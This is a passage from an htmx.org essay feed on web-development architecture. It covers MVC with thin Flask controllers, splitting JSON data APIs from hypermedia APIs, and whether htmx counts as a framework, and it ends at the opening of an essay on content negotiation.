&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;@app.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;route&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;api&#x2F;v1&#x2F;contacts&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#61afef;&quot;&gt;contacts&lt;&#x2F;span&gt;&lt;span&gt;():
&lt;&#x2F;span&gt;&lt;span&gt;    contacts = Contact.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;all&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;page&lt;&#x2F;span&gt;&lt;span&gt;=request.args.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;get&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;page&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;default&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt;=int))
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;jsonify&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;contacts&lt;&#x2F;span&gt;&lt;span&gt;=contacts)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;but-you-are-duplicating-code&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#but-you-are-duplicating-code&quot; aria-label=&quot;Anchor link for: but-you-are-duplicating-code&quot;&gt;But You Are Duplicating Code!&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;At this point, looking at these two controller functions, you may think “This is stupid, the methods are nearly identical”.&lt;&#x2F;p&gt;
&lt;p&gt;And you’re right, currently they are nearly identical.&lt;&#x2F;p&gt;
&lt;p&gt;But let’s consider two potential additions to our system.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;rate-limiting-our-json-api&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#rate-limiting-our-json-api&quot; aria-label=&quot;Anchor link for: rate-limiting-our-json-api&quot;&gt;Rate Limiting Our JSON API&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;First, let’s add rate limiting to the JSON API to prevent DDOS or badly written automated clients from swamping our
system.  We’ll add the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;flask-limiter.readthedocs.io&#x2F;en&#x2F;stable&#x2F;&quot;&gt;Flask-Limiter&lt;&#x2F;a&gt; library:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;@app.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;route&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;api&#x2F;v1&#x2F;contacts&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;@limiter.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;limit&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;1 per second&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#61afef;&quot;&gt;contacts&lt;&#x2F;span&gt;&lt;span&gt;():
&lt;&#x2F;span&gt;&lt;span&gt;    contacts = Contact.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;all&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;page&lt;&#x2F;span&gt;&lt;span&gt;=request.args.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;get&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;page&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;default&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt;=int))
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;jsonify&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;contacts&lt;&#x2F;span&gt;&lt;span&gt;=contacts)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Easy.&lt;&#x2F;p&gt;
&lt;p&gt;But note: we don’t want that limit applying to our web application, we just want it for our JSON Data API.  And, because
we’ve split the two up, we can achieve that.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;adding-a-graph-to-our-web-application&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#adding-a-graph-to-our-web-application&quot; aria-label=&quot;Anchor link for: adding-a-graph-to-our-web-application&quot;&gt;Adding A Graph To Our Web Application&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;Let’s consider another change: we want to add a graph of the number of contacts added per day to the &lt;code&gt;index.html&lt;&#x2F;code&gt;
template in our HTML-based web application.  It turns out that this graph is expensive to compute.&lt;&#x2F;p&gt;
&lt;p&gt;We do not want to block the rendering of the &lt;code&gt;index.html&lt;&#x2F;code&gt; template on the graph generation, so we will use the
&lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;examples&#x2F;lazy-load&#x2F;&quot;&gt;Lazy Loading&lt;&#x2F;a&gt; pattern for it instead.  To do this, we need to create a new endpoint, &lt;code&gt;&#x2F;graph&lt;&#x2F;code&gt;,
that returns the HTML for that lazily loaded content:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;@app.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;route&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;graph&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#61afef;&quot;&gt;graph&lt;&#x2F;span&gt;&lt;span&gt;():
&lt;&#x2F;span&gt;&lt;span&gt;    graphInfo = Contact.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;computeGraphInfo&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;page&lt;&#x2F;span&gt;&lt;span&gt;=request.args.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;get&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;page&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;default&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt;=int))
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;render_template&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;graph.html&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;info&lt;&#x2F;span&gt;&lt;span&gt;=graphInfo)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Note that here, again, our controller is still “thin”: it just delegates out to the Model and then hands the results on
to a View.&lt;&#x2F;p&gt;
&lt;p&gt;What’s easy to miss is that we’ve added a new endpoint to our web application HTML API, but &lt;em&gt;we haven’t added it to
our JSON Data API&lt;&#x2F;em&gt;.  So we are &lt;strong&gt;not&lt;&#x2F;strong&gt; committing to other non-web clients that this (specialized) endpoint, which
is being driven entirely by our UI needs, will be around forever.&lt;&#x2F;p&gt;
&lt;p&gt;Since we are not committing to &lt;em&gt;all&lt;&#x2F;em&gt; clients that this data will be available at &lt;code&gt;&#x2F;graph&lt;&#x2F;code&gt; forever, and since we
are using &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hateoas&#x2F;&quot;&gt;Hypermedia As The Engine of Application State&lt;&#x2F;a&gt; in our HTML-based web application, we are free to remove
or refactor this URL later on.&lt;&#x2F;p&gt;
&lt;p&gt;Perhaps some database optimization suddenly make the graph fast to compute and we can include it inline in the
response to &lt;code&gt;&#x2F;contacts&lt;&#x2F;code&gt;: we can remove this end point because we have not exposed it to other clients, it’s just there
to support our web application.&lt;&#x2F;p&gt;
&lt;p&gt;So, we get the &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-apis-vs-data-apis&#x2F;&quot;&gt;flexibility we want&lt;&#x2F;a&gt; for our hypermedia API, and the
&lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-apis-vs-data-apis&#x2F;&quot;&gt;features&lt;&#x2F;a&gt; we want for our JSON Data API.&lt;&#x2F;p&gt;
&lt;p&gt;The most important thing to notice, in terms of MVC, is that because our domain logic has been collected in a Model,
we can vary these two APIs flexibly while still achieving a significant amount of code reuse.  Yes, there was a lot
of initial similarity to the JSON and HTML controllers, but they diverged over time.&lt;&#x2F;p&gt;
&lt;p&gt;At the same time, we didn’t
duplicate our Model logic: both controllers remained relatively “thin” and delegated out to our Model object to do
most of the work.&lt;&#x2F;p&gt;
&lt;p&gt;Our two APIs are decoupled, while our domain logic remains centralized.&lt;&#x2F;p&gt;
&lt;p&gt;(Note that this also gets at &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;why-tend-not-to-use-content-negotiation&#x2F;&quot;&gt;why I tend not to use content negotiation&lt;&#x2F;a&gt; and return HTML &amp;amp; JSON from the same endpoint.)&lt;&#x2F;p&gt;
&lt;h2 id=&quot;mvc-frameworks&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#mvc-frameworks&quot; aria-label=&quot;Anchor link for: mvc-frameworks&quot;&gt;MVC Frameworks&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Many older web frameworks such as &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.spring.io&#x2F;spring-framework&#x2F;docs&#x2F;3.2.x&#x2F;spring-framework-reference&#x2F;html&#x2F;mvc.html&quot;&gt;Spring&lt;&#x2F;a&gt;,
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;dotnet.microsoft.com&#x2F;en-us&#x2F;apps&#x2F;aspnet&#x2F;mvc&quot;&gt;ASP.NET&lt;&#x2F;a&gt;, Rails have very strong MVC concepts that allow you to split
your logic out in this manner extremely effectively.&lt;&#x2F;p&gt;
&lt;p&gt;Django has a variation on the idea called &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.askpython.com&#x2F;django&#x2F;django-mvt-architecture&quot;&gt;MVT&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;This strong support for MVC is one reason why these frameworks pair very well with htmx and those communities are excited
about it.&lt;&#x2F;p&gt;
&lt;p&gt;And, while the examples above are obviously biased towards &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.azquotes.com&#x2F;picture-quotes&#x2F;quote-object-oriented-programming-is-an-exceptionally-bad-idea-which-could-only-have-originated-edsger-dijkstra-7-85-25.jpg&quot;&gt;Object-Oriented&lt;&#x2F;a&gt;
programming, the same ideas can be applied in a functional context as well.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#conclusion&quot; aria-label=&quot;Anchor link for: conclusion&quot;&gt;Conclusion&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;I hope that, if it is new to you, that gives you to a good feel for the concept of MVC and shows how that, by adopting that
organizational principle in your web applications, you can effectively decouple your APIs while at the same time avoiding
significant duplication of code.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Is htmx Just Another JavaScript Framework?</title>
        <published>2024-01-10T00:00:00+00:00</published>
        <updated>2024-01-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            Alexander Petros
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/is-htmx-another-javascript-framework/"/>
        <id>https://htmx.org/essays/is-htmx-another-javascript-framework/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/is-htmx-another-javascript-framework/">&lt;p&gt;One of the most common criticisms of htmx, usually from people hearing about it for the first time, goes like this:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;You’re complaining about the complexity of modern frontend frameworks, but your solution is just another complex frontend framework.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;This is an excellent objection! It’s the right question to ask about &lt;em&gt;any&lt;&#x2F;em&gt; third-party (3P) code that you introduce into your project. Even though you aren’t writing the 3P code yourself, by including it in your project you are committed to understanding it—and refreshing that understanding if you want to upgrade it. That’s a big commitment.&lt;&#x2F;p&gt;
&lt;p&gt;Let’s break this criticism down into its constituent parts, and determine exactly how much htmx indulges in the harms it claims to solve.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-difference-between-a-library-and-a-framework&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-difference-between-a-library-and-a-framework&quot; aria-label=&quot;Anchor link for: the-difference-between-a-library-and-a-framework&quot;&gt;The difference between a library and a framework&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Some htmx defenders jump to our aid with: “htmx isn’t a framework, it’s a library.” This is probably incorrect.&lt;&#x2F;p&gt;
&lt;p&gt;“Framework” is a colloquial term—there’s no hard rule for the point at which some third-party code evolves from a “library” into a “framework”—but we should still try to define it. In this context:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Library&lt;&#x2F;strong&gt; - 3P code whose API does not significantly influence the rest of the application&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Framework&lt;&#x2F;strong&gt; - 3P code whose API dictates the overall structure of the application&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;If you prefer metaphors: a library is a cog that you add to your machine, a framework is a pre-built machine that you control by customizing its cogs.&lt;&#x2F;p&gt;
&lt;p&gt;This distinction, fuzzy though it may be, is important because it describes how easily some third-party code can be replaced. For example, a JavaScript service that uses a CSV parsing library can probably swap in a different CSV parsing library without too much trouble; a JavaScript service that uses the NextJS framework, however, is probably going to depend on NextJS for its entire useful life, since an enormous chunk of the code is written with the assumption that it is interacting with NextJS constructs.&lt;&#x2F;p&gt;
&lt;p&gt;Therefore, if your service is built atop a framework, its useful lifespan is tied to the useful lifespan of that framework. If that framework is abandoned, or despised, or otherwise undesirable to work on, the difficulty of modifying your project will steadily increase until you give up modifying it, and eventually, mothball it altogether.&lt;&#x2F;p&gt;
&lt;p&gt;That’s what people are worried about when they ask is “is htmx just another JavaScript framework?” They want to be sure that they’re not committing to a system that will be obsolete soon, like so many of the past web development frameworks.&lt;&#x2F;p&gt;
&lt;p&gt;So: is htmx a framework? And is it going to be fast made obsolete, leaving a trail of un-maintainable websites in the wake of its meteoric demise?&lt;&#x2F;p&gt;
&lt;h2 id=&quot;htmx-is-usually-a-framework&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#htmx-is-usually-a-framework&quot; aria-label=&quot;Anchor link for: htmx-is-usually-a-framework&quot;&gt;htmx is (usually) a framework&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;With apologies to our community’s ongoing debate about this question—I think htmx is pretty clearly a framework, at least in the majority use-case. But it does depend on how you use it.&lt;&#x2F;p&gt;
&lt;p&gt;Wherever you make use of htmx in your project, you’re including htmx attributes in your HTML (i.e. &lt;code&gt;hx-post&lt;&#x2F;code&gt;, &lt;code&gt;hx-target&lt;&#x2F;code&gt;), writing endpoints that are called with htmx-formatted data (with certain request headers), and returning data from those endpoints that is formatted in ways that htmx expects (HTML with &lt;code&gt;hx-*&lt;&#x2F;code&gt; controls). All of these attributes and headers and endpoints interact with each other to create a system by which elements enter and exit the DOM via network request.&lt;&#x2F;p&gt;
&lt;p&gt;If you use htmx to handle a non-trivial number of your website’s network requests, then the inclusion of htmx in your application has significant implications for the project’s structure, from the way you structure your frontend markup, to the database queries your endpoints make. That is framework-like behavior, and in that scenario, htmx cannot be trivially replaced.&lt;&#x2F;p&gt;
&lt;p&gt;You can definitely use htmx in a library-like manner, to add dynamic functionality to just a few sections of your web page. But you can write &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.patterns.dev&#x2F;vanilla&#x2F;islands-architecture&quot;&gt;React in this library-like manner too&lt;&#x2F;a&gt; and nobody argues that React isn’t a framework. Suffice to say that many people who use htmx in their applications are doing so in a way that bends to the demands of htmx, as a framework for building hypermedia applications.&lt;&#x2F;p&gt;
&lt;p&gt;As they should! Building with htmx works a lot better if you play to its strengths. You can send JSON-formatted form bodies, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bigskysoftware&#x2F;htmx-extensions&#x2F;blob&#x2F;main&#x2F;src&#x2F;json-enc&#x2F;README.md&quot;&gt;if you really insist&lt;&#x2F;a&gt;. But you shouldn’t! It’s simpler to just use &lt;code&gt;application&#x2F;x-www-form-urlencoded&lt;&#x2F;code&gt; bodies, and write an endpoint that accepts them. You can write an endpoint that is re-used across multiple different clients, &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;why-tend-not-to-use-content-negotiation&#x2F;&quot;&gt;if you really insist&lt;&#x2F;a&gt;. But you shouldn’t!  It’s simpler to &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;splitting-your-apis&#x2F;&quot;&gt;split your data and your hypermedia APIs into separate URLs&lt;&#x2F;a&gt;. Yes, htmx can be used as a library, but maybe let it be your framework too.&lt;&#x2F;p&gt;
&lt;p&gt;That does not mean, however, that htmx is Just Another JavaScript Framework, because htmx has a huge advantage that the other frameworks do not: HTML.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;htmx-is-for-writing-html&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#htmx-is-for-writing-html&quot; aria-label=&quot;Anchor link for: htmx-is-for-writing-html&quot;&gt;htmx is for writing HTML&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Let’s say you’re using htmx as a framework—is it a &lt;em&gt;JavaScript&lt;&#x2F;em&gt; framework? In one obvious sense, yes: htmx is implemented with ~4k lines of JS. But in another, much more important sense, it is not: React, Svelte, Solid, and so on have you write JS(X) that the framework converts into HTML; htmx just has you write HTML. This removes entire categories of maintenance that might make you abandon other frameworks with time.&lt;&#x2F;p&gt;
&lt;p&gt;Codebases tend to get stuck when you want to upgrade or change some dependency, but the framework you use is incompatible with that change. Java is the most notorious offender here—there are untold millions of lines of Java in production that will never leave Java 8 because upgrading Spring is too hard—but the npm package ecosystem is a close second. When you use the htmx “framework” you will never have this problem, because htmx is a &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;no-build-step&#x2F;&quot;&gt;zero-dependency, client-loaded JavaScript file&lt;&#x2F;a&gt;, so it is guaranteed to never conflict with whatever build process or dependency chain your server &lt;em&gt;does&lt;&#x2F;em&gt; depend on.&lt;&#x2F;p&gt;
&lt;p&gt;Browsers render HTML, so no compiler or transpiler is ever necessary to work with htmx. While many htmx users happily render API responses with JSX, htmx works very well with &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;jinja.palletsprojects.com&quot;&gt;classic&lt;&#x2F;a&gt; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ejs.co&#x2F;&quot;&gt;template&lt;&#x2F;a&gt; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.ruby-lang.org&#x2F;en&#x2F;2.3.0&#x2F;ERB.html&quot;&gt;engines&lt;&#x2F;a&gt;, making it portable to &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-on-whatever-youd-like&#x2F;&quot;&gt;whatever language you like&lt;&#x2F;a&gt;. Say what you will about Django and Rails, but they were relevant in 2008 and they’re relevant today—htmx integrates seamlessly with them both. This is a recurring theme with htmx-driven development: htmx works well with development tools old and new, because the common denominator in all these tools is HTML, and htmx is for writing HTML.&lt;&#x2F;p&gt;
&lt;div style=&quot;text-align:center; width:100%&quot;&gt;
  &lt;img width=500
       src=&quot;&#x2F;img&#x2F;memes&#x2F;htmxanddjango.png&quot;
       alt=&quot;A monkey labeled &#x27;HTMX&#x27; protecting a cute dog named &#x27;Django&#x27; from &#x27;all that compilated JS noise&#x27;&quot;
      &gt;
&lt;&#x2F;div&gt;
&lt;p&gt;Pushing the user to define the behavior of their application primarily in HTML, rather than JS, has too many advantages to cover in this essay, so I’ll stick to the one people hate most about JavaScript fameworks: churn. Depending on when you wrote your React application, you might have written your form with &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;legacy.reactjs.org&#x2F;docs&#x2F;forms.html&quot;&gt;controlled class components&lt;&#x2F;a&gt;, or &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.logrocket.com&#x2F;react-hook-form-complete-guide&#x2F;&quot;&gt;react hooks&lt;&#x2F;a&gt;, or this &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;react.dev&#x2F;reference&#x2F;react-dom&#x2F;components&#x2F;form&quot;&gt;experimental &lt;code&gt;&amp;lt;form&amp;gt;&lt;&#x2F;code&gt; extension&lt;&#x2F;a&gt;. This is genuinely maddening, especially if you—like me—first learned how to make a web form with class components.&lt;&#x2F;p&gt;
&lt;p&gt;No matter when you wrote your htmx application, however, the behavior of an htmx form has always been defined in largely the same way a regular HTML form is: with &lt;code&gt;&amp;lt;form&amp;gt;&lt;&#x2F;code&gt;. With htmx adding additional network functionality, you can finally use &lt;code&gt;PUT&lt;&#x2F;code&gt; requests and control where the response goes, but in all other respects—validation, inputs, labels, autocomplete—you have default &lt;code&gt;&amp;lt;form&amp;gt;&lt;&#x2F;code&gt; element behavior.&lt;&#x2F;p&gt;
&lt;p&gt;Finally, because htmx simply extends HTML in a very narrow domain (network requests and DOM replacements), most of the “htmx” you write is just plain old HTML. When you have access to complex state management mechanisms, it’s incredibly easy to implement a custom collapsible div; when you don’t, you might stop long enough to search up the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;HTML&#x2F;Element&#x2F;details&quot;&gt;&lt;code&gt;&amp;lt;details&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; element. Whenever a problem can be solved by native HTML elements, the longevity of the code improves tremendously as a result. This is a much less alienating way to learn web development, because the bulk of your knowledge will remain relevant as long as HTML does.&lt;&#x2F;p&gt;
&lt;p&gt;In this respect, htmx is much more like JQuery than React (htmx’s predecessor, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;intercoolerjs.org&#x2F;&quot;&gt;intercooler.js&lt;&#x2F;a&gt;, was a JQuery extension), but it improves on JQuery by using a declarative, HTML-based interface: where JQuery made you go to the &lt;code&gt;&amp;lt;script&amp;gt;&lt;&#x2F;code&gt; tag to specify AJAX behavior, htmx requires only a simple &lt;code&gt;hx-post&lt;&#x2F;code&gt; attribute.&lt;&#x2F;p&gt;
&lt;p&gt;In short, while htmx can be used as a framework, it’s a framework that &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;unplannedobsolescence.com&#x2F;blog&#x2F;custom-html-has-levels&quot;&gt;deviates far less from the web’s semantics&lt;&#x2F;a&gt; than the JavaScript frameworks do, and will benefit from improvements in those semantics with no additional work from the user, thanks to the web’s &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Learn&#x2F;Getting_started_with_the_web&#x2F;The_web_and_web_standards#dont_break_the_web&quot;&gt;excellent backwards compatibility guarantees&lt;&#x2F;a&gt;. If you want to build a website that lasts for a long time, these qualities make htmx a substantially better bet than many of its contemporaries.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;NOTE: Despite agreeing with this analysis, finding no logical flaws in the essay, and allowing me to publish it on his website, Carson continues to insist that htmx is a library.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;div style=&quot;text-align:center; width:100%&quot;&gt;
  &lt;img width=500
       src=&quot;&#x2F;img&#x2F;memes&#x2F;istudiedhtml.png&quot;
       alt=&quot;A man holding a sword. He says: &#x27;When you wrote class components, I studied HTML. When you were converting classes to hooks, I mastered the HTML. While you wasted time moving all your client-side logic to server components, I cultivated inner HTML. And now that the browser won&#x27;t hydrate your thick client JSON API you have the audacity to come to me for help?&#x27;&quot;
      &gt;
&lt;&#x2F;div&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Why I Tend Not To Use Content Negotiation</title>
        <published>2023-11-18T00:00:00+00:00</published>
        <updated>2023-11-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/why-tend-not-to-use-content-negotiation/"/>
        <id>https://htmx.org/essays/why-tend-not-to-use-content-negotiation/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/why-tend-not-to-use-content-negotiation/">&lt;p&gt;I have written a lot about Hypermedia APIs vs. Data (JSON) APIs, including &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-apis-vs-data-apis&#x2F;&quot;&gt;the differences between the two&lt;&#x2F;a&gt;,
what &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;how-did-rest-come-to-mean-the-opposite-of-rest&#x2F;&quot;&gt;REST “really” means&lt;&#x2F;a&gt; and why &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hateoas&#x2F;&quot;&gt;HATEOAS&lt;&#x2F;a&gt;
isn’t so bad as long as your API is interacting with a &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-clients&#x2F;&quot;&gt;Hypermedia Client&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
